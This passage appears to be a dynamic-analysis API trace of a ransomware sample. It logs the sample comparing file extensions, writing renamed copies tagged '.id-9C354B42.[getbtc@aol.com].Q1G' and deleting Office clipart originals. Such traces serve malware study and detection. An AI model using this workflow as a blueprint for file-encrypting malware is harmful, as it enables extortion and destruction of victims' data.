returned -1 [0248.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 63 [0248.461] lstrlenW (lpString=".dbf") returned 4 [0248.461] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0248.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 63 [0248.461] lstrlenW (lpString=".1cd") returned 4 [0248.461] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0248.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 63 [0248.461] lstrlenW (lpString=".jpg") returned 4 [0248.461] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0248.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 63 [0248.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 63 [0248.461] lstrlenW (lpString=".doc") returned 4 [0248.461] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0248.462] lstrlenW (lpString=".docx") returned 5 [0248.462] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0248.462] lstrlenW (lpString=".pdf") returned 4 [0248.462] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0248.462] lstrlenW (lpString=".xls") returned 4 [0248.462] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0248.462] lstrlenW (lpString=".xlsx") returned 5 [0248.462] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0248.462] lstrlenW (lpString=".ppt") returned 4 [0248.462] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0248.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 63 [0248.462] lstrlenW (lpString=".zip") returned 4 [0248.462] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0248.462] lstrlenW (lpString=".rar") returned 4 [0248.462] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0248.462] lstrlenW (lpString=".bz2") returned 4 [0248.462] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0248.462] lstrlenW (lpString=".7z") returned 3 [0248.462] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0248.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 63 [0248.462] lstrlenW (lpString=".dbf") returned 4 [0248.462] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0248.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 63 [0248.462] lstrlenW (lpString=".1cd") returned 4 [0248.462] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0248.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 63 [0248.462] lstrlenW (lpString=".jpg") returned 4 [0248.462] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0248.462] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0248.462] lstrlenW (lpString="DD01434_.WMF") returned 12 [0248.462] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01434_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0249.441] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=900) returned 1 [0249.441] CloseHandle (hObject=0x398) returned 1 [0249.441] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01434_.wmf")) returned 0x20 [0249.441] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01434_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0249.441] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01434_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0249.442] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.442] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01434_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0249.442] GetLastError () returned 0x0 [0249.442] ReadFile (in: hFile=0x398, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x384, lpOverlapped=0x0) returned 1 [0249.446] WriteFile (in: hFile=0x3a8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x390, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x390, lpOverlapped=0x0) returned 1 [0249.447] ReadFile (in: hFile=0x398, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0249.447] WriteFile (in: hFile=0x3a8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0249.447] SetEndOfFile (hFile=0x3a8) returned 1 [0249.447] CloseHandle (hObject=0x3a8) returned 1 [0249.447] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.447] SetEndOfFile (hFile=0x398) returned 1 [0249.449] CloseHandle (hObject=0x398) returned 1 [0249.450] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0249.450] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01434_.wmf")) returned 1 [0249.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 63 [0249.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 63 [0249.450] lstrlenW (lpString=".doc") returned 4 [0249.450] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0249.450] lstrlenW (lpString=".docx") returned 5 [0249.450] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0249.450] lstrlenW (lpString=".pdf") returned 4 [0249.450] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0249.450] lstrlenW (lpString=".xls") returned 4 [0249.450] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0249.450] lstrlenW (lpString=".xlsx") returned 5 [0249.451] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0249.451] lstrlenW (lpString=".ppt") returned 4 [0249.451] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0249.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 63 [0249.451] lstrlenW (lpString=".zip") returned 4 [0249.451] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0249.451] lstrlenW (lpString=".rar") returned 4 [0249.451] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0249.451] lstrlenW (lpString=".bz2") returned 4 [0249.451] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0249.451] lstrlenW (lpString=".7z") returned 3 [0249.451] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0249.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 63 [0249.451] lstrlenW (lpString=".dbf") returned 4 [0249.451] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0249.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 63 [0249.451] lstrlenW (lpString=".1cd") returned 4 [0249.451] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0249.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 63 [0249.451] lstrlenW (lpString=".jpg") returned 4 [0249.451] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0249.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 63 [0249.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 63 [0249.451] lstrlenW (lpString=".doc") returned 4 [0249.451] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0249.451] lstrlenW (lpString=".docx") returned 5 [0249.451] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0249.451] lstrlenW (lpString=".pdf") returned 4 [0249.451] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0249.451] lstrlenW (lpString=".xls") returned 4 [0249.451] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0249.451] lstrlenW (lpString=".xlsx") returned 5 [0249.451] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0249.451] lstrlenW (lpString=".ppt") returned 4 [0249.451] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0249.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 63 [0249.451] lstrlenW (lpString=".zip") returned 4 [0249.452] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0249.452] lstrlenW (lpString=".rar") returned 4 [0249.452] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0249.452] lstrlenW (lpString=".bz2") returned 4 [0249.452] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0249.452] lstrlenW (lpString=".7z") returned 3 [0249.452] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0249.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 63 [0249.452] lstrlenW (lpString=".dbf") returned 4 [0249.452] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0249.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 63 [0249.452] lstrlenW (lpString=".1cd") returned 4 [0249.452] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0249.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 63 [0249.452] lstrlenW (lpString=".jpg") returned 4 [0249.452] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0249.452] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0249.452] lstrlenW (lpString="FD00086_.WMF") returned 12 [0249.452] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00086_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0249.453] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=29212) returned 1 [0249.453] CloseHandle (hObject=0x398) returned 1 [0249.453] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00086_.wmf")) returned 0x20 [0249.453] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00086_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0249.453] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00086_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0249.453] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.453] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.453] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00086_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0249.454] GetLastError () returned 0x0 [0249.454] ReadFile (in: hFile=0x398, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x721c, lpOverlapped=0x0) returned 1 [0249.456] WriteFile (in: hFile=0x3a8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x7220, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x7220, lpOverlapped=0x0) returned 1 [0249.457] ReadFile (in: hFile=0x398, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0249.457] WriteFile (in: hFile=0x3a8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0249.457] SetEndOfFile (hFile=0x3a8) returned 1 [0249.457] CloseHandle (hObject=0x3a8) returned 1 [0249.457] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.457] SetEndOfFile (hFile=0x398) returned 1 [0249.459] CloseHandle (hObject=0x398) returned 1 [0249.460] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0249.460] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00086_.wmf")) returned 1 [0249.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 63 [0249.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 63 [0249.460] lstrlenW (lpString=".doc") returned 4 [0249.460] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0249.460] lstrlenW (lpString=".docx") returned 5 [0249.460] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0249.460] lstrlenW (lpString=".pdf") returned 4 [0249.460] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0249.460] lstrlenW (lpString=".xls") returned 4 [0249.460] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0249.460] lstrlenW (lpString=".xlsx") returned 5 [0249.461] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0249.461] lstrlenW (lpString=".ppt") returned 4 [0249.461] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0249.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 63 [0249.461] lstrlenW (lpString=".zip") returned 4 [0249.461] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0249.461] lstrlenW (lpString=".rar") returned 4 [0249.461] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0249.461] lstrlenW (lpString=".bz2") returned 4 [0249.461] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0249.461] lstrlenW (lpString=".7z") returned 3 [0249.461] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0249.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 63 [0249.461] lstrlenW (lpString=".dbf") returned 4 [0249.461] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0249.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 63 [0249.461] lstrlenW (lpString=".1cd") returned 4 [0249.461] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0249.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 63 [0249.461] lstrlenW (lpString=".jpg") returned 4 [0249.461] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0249.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 63 [0249.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 63 [0249.461] lstrlenW (lpString=".doc") returned 4 [0249.461] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0249.461] lstrlenW (lpString=".docx") returned 5 [0249.461] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0249.461] lstrlenW (lpString=".pdf") returned 4 [0249.461] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0249.461] lstrlenW (lpString=".xls") returned 4 [0249.461] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0249.461] lstrlenW (lpString=".xlsx") returned 5 [0249.461] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0249.461] lstrlenW (lpString=".ppt") returned 4 [0249.461] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0249.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 63 [0249.461] lstrlenW (lpString=".zip") returned 4 [0249.462] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0249.462] lstrlenW (lpString=".rar") returned 4 [0249.462] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0249.462] lstrlenW (lpString=".bz2") returned 4 [0249.462] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0249.462] lstrlenW (lpString=".7z") returned 3 [0249.462] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0249.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 63 [0249.462] lstrlenW (lpString=".dbf") returned 4 [0249.462] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0249.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 63 [0249.462] lstrlenW (lpString=".1cd") returned 4 [0249.462] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0249.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 63 [0249.462] lstrlenW (lpString=".jpg") returned 4 [0249.462] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0249.462] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0249.462] lstrlenW (lpString="FD00090_.WMF") returned 12 [0249.462] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00090_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0249.463] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=14194) returned 1 [0249.463] CloseHandle (hObject=0x398) returned 1 [0249.463] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00090_.wmf")) returned 0x20 [0249.463] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00090_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0249.463] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00090_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0249.464] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.464] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.464] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00090_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0249.464] GetLastError () returned 0x0 [0249.464] ReadFile (in: hFile=0x398, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x3772, lpOverlapped=0x0) returned 1 [0249.466] WriteFile (in: hFile=0x3a8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x3780, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x3780, lpOverlapped=0x0) returned 1 [0249.467] ReadFile (in: hFile=0x398, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0249.467] WriteFile (in: hFile=0x3a8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0249.467] SetEndOfFile (hFile=0x3a8) returned 1 [0249.467] CloseHandle (hObject=0x3a8) returned 1 [0249.467] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.467] SetEndOfFile (hFile=0x398) returned 1 [0249.469] CloseHandle (hObject=0x398) returned 1 [0249.469] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0249.470] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00090_.wmf")) returned 1 [0249.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 63 [0249.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 63 [0249.470] lstrlenW (lpString=".doc") returned 4 [0249.470] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0249.470] lstrlenW (lpString=".docx") returned 5 [0249.470] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0249.470] lstrlenW (lpString=".pdf") returned 4 [0249.470] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0249.470] lstrlenW (lpString=".xls") returned 4 [0249.470] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0249.470] lstrlenW (lpString=".xlsx") returned 5 [0249.470] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0249.470] lstrlenW (lpString=".ppt") returned 4 [0249.470] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0249.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 63 [0249.471] lstrlenW (lpString=".zip") returned 4 [0249.471] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0249.471] lstrlenW (lpString=".rar") returned 4 [0249.471] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0249.471] lstrlenW (lpString=".bz2") returned 4 [0249.471] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0249.471] lstrlenW (lpString=".7z") returned 3 [0249.471] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0249.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 63 [0249.471] lstrlenW (lpString=".dbf") returned 4 [0249.471] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0249.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 63 [0249.471] lstrlenW (lpString=".1cd") returned 4 [0249.471] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0249.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 63 [0249.471] lstrlenW (lpString=".jpg") returned 4 [0249.471] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0249.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 63 [0249.471] lstrlenW 